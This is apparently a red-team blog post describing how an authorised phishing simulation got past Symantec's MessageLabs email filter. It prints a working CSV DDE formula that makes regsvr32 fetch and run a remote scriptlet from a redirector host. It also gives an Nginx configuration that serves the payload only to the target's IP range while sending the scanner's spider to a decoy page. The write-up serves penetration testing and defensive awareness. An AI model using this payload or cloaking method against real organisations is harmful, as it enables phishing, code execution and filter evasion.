TTP: Bypassing Symantec Email Security.cloud (MessageLabs)

Overview

During a recent Attack Simulation against a high-profile client, Beyond Binary faced off against Symantec Email Security.cloud (formerly MessageLabs) whilst conducting a variety of phishing campaigns. This was not the first time we had come up against cloud-based email security services, however our usual approaches to bypassing them didn't yield any fruit. Symantec was doing a relatively good job of stopping our phishes from making it to the end-user. As a result, we had to put some time into coming up with a way of getting around the filter.

This short article contains detail on how the MessageLabs filtering was bypassed. We hope you find it useful.

First of all, Payloads!

To simulate different attacks we wanted to utilise a number of different payloads, and the first one that was tried was a simple CSV file that contained a well-known DDE attack vector to gain code execution. The aim was to invoke a custom payload, bypassing application whitelisting, resulting in active sessions on the target. The method we decided to go with in this instance was the (ab)use of regsvr32, a method researched and documented by Casey Smith. The required Scriptlet definition was hosted on several redirector servers within our C2 infrastructure.

The DDE entry inside the CSV file looked like this:

=regsvr32|' /s /u /i:https://some.redirector.com/p/toteslegit.txt scrobj.dll'!A0

Here we can see that regsvr32 is the application that is being invoked, and the parameters passed to the invocation include a reference to the Scriptlet that is hosted externally. Note that the scriptlet does not need to have the .sct file extension, and hence our payloads contained an extention that was a little more innocuous.

The first few emails that were sent out to the target didn't appear to land in any inboxes within the organisation, implying that MessageLabs was filtering it out. So what was it about our payload that was causing the emails to be caught?

MessageLabs' Email Parsing Behaviour

The first step in uncovering the behaviour of MessageLabs was to set up a simple email without any attachments. This email contained a link to an external site controlled by Beyond Binary, and the aim was to determine if MessageLabs was validating links by navigating to them behind the scenes. The email was sent to an email address that didn't exist (to avoid users receiving useless emails), but MessageLabs still parsed the email. As expected, the link provided in the body of the email was validated and we were able to see the MessageLabs spider reach out to the web server and retrieve the content of the referenced URL. The email bounced, proving that the email was passed through to the client.

From here, the team took the step to re-add the attachment, but only include a link rather than the full DDE payload. The link was validated, and the email bounced again. We then found that adding the full DDE payload back into the attachment (with a URL that didn't contain a Scriptlet) yielded the same result. At this point we knew that URLs in attachments are followed, and that MessageLabs doesn't care about the DDE payload itself. On the surface, it looked like the body of the Scriptlet that was hosted on the external server is what caused the filter to kick in and block the email source. To summarise what we found:

• MessageLabs would open the email and follow all links in the body and in the attachments.
• If any external URLs, referenced in the body or attachments, contained "malicious" content then the email was blocked.
• If the content was deemed "clean", then the email would be sent to the client.

Some other interesting behaviour was noted:

• Hits on external webservers were not coming from IP ranges owned by MessageLabs. This led us to believe that they were using a data centre ISP solution such as Equinix Connect in an effort to blend in with normal traffic.
• After sending the email, the hits on the web servers came almost immediately from MessageLabs. This made it simple to enumerate any IP addresses that were being utilised.
• Subsequent emails containing the same attachment (same checksum) would not be scanned if sent within a given timeframe. The exact time frame was not important and so no time was spent attempting to discover it.

The Bypass Technique

To help in understanding the set up, the following image shows a sample attack infrastructure configuration that can be used as part of an Attack Simulation engagement. Infrastructure does vary from client to client, however this overview shows an approach that can fit various scenarios.

At Beyond Binary, we utilise Nginx to serve as a web front-end for redirectors and C2 infrastructure. This serves a number of purposes:

• Redirecting traffic with Nginx is trivial and easy to configure based on a number of properties. Our C2 infrstructure (MSF / Empire / $OTHER) can run as unprivileged users on non-standard ports, and Nginx handles the Internet-facing traffic and management of privileged ports. Nginx then routes relevant traffic to the C2 components behind the scenes.
• Legitimate web pages can be hosted directly via Nginx, and rendered by default. This helps portray the host as a valid webserver in an effort to distract any Blue Team investigations.

With Nginx already in place for the above reasons, it made sense to make use of it to help deal with the MessageLabs problem. Now that we understood what was going on with the filtering and URL validation mechanism, we were able to devise a fairly simple solution:

• Determine a set of IP addresses that match the client infrastructure.
• Any traffic hitting the redirectors from IP addresses that are not part of that address range can be considered as unintended traffic.
• Requests to malicious Scriptlet URLs from outside the client IP range were redirected to harmless web pages.
• Client requests are handled normally, and the payload is served as intended.

The following snippet of code is the relevant section of the Nginx configuration file that demonstrates how IP-based filtering can be used to redirect unwanted requests away from payloads that are intended for the client:

server {
  # The usual server configuration stuff

  ... snip ...

  # Match the location URL wih that specified in the CSV
  location ~ "^/p/(.*)" {
    error_page 403 @badip;               # Redirector to @badip if disallowed
    allow 172.16.0.0/16;                 # IP Netblock of the client network
    allow xxx.xxx.xxx.xxx/yy;            # IP Netblock of any other network you want
    deny all;                            # Block everyone else
    proxy_pass http://1.1.1.1/p/$1;      # Redirect to the actual payload if ok
  }

  # Psuedo location that is invoked when the above locaton block results in a
  # 403 Forbidden
  location @badip {
    # Redirect them to something that looks legit
    return 301 $scheme://attackerdomain.com/index.html;
  }

  ... snip ...
}

With this configuration in place, the following behaviour was observed during the rest of the phishing campaigns:

• MessageLabs would request the Scriptlet URLs baked into the CSV attachments.
• The requests would be from various IP addresses from all over the Internet, however none were within the client network.
• The 301 redirect resulted in the MessageLabs spider making a second request to the location given in the configuration.
• In many cases the second request for the page that was returned with the 301 redirect was made from a different IP address. This is a great indication that requests are being made by automated systems instead of normal people.

Conclusion

With a little bit of analysis, and simple use of well-known tools, it is trivial to bypass cloud-based email filtering mechanisms such as MessageLabs. In some ways, it's even helpful to have tools like MessageLabs in place as they can be used as an "email delivery oracle" that indicates whether or not emails are accepted.

This post was written by @AusJock. However, please direct any questions, queries, doubtful points or death threats to @TheColonial, he’ll be more than happy to accommodate.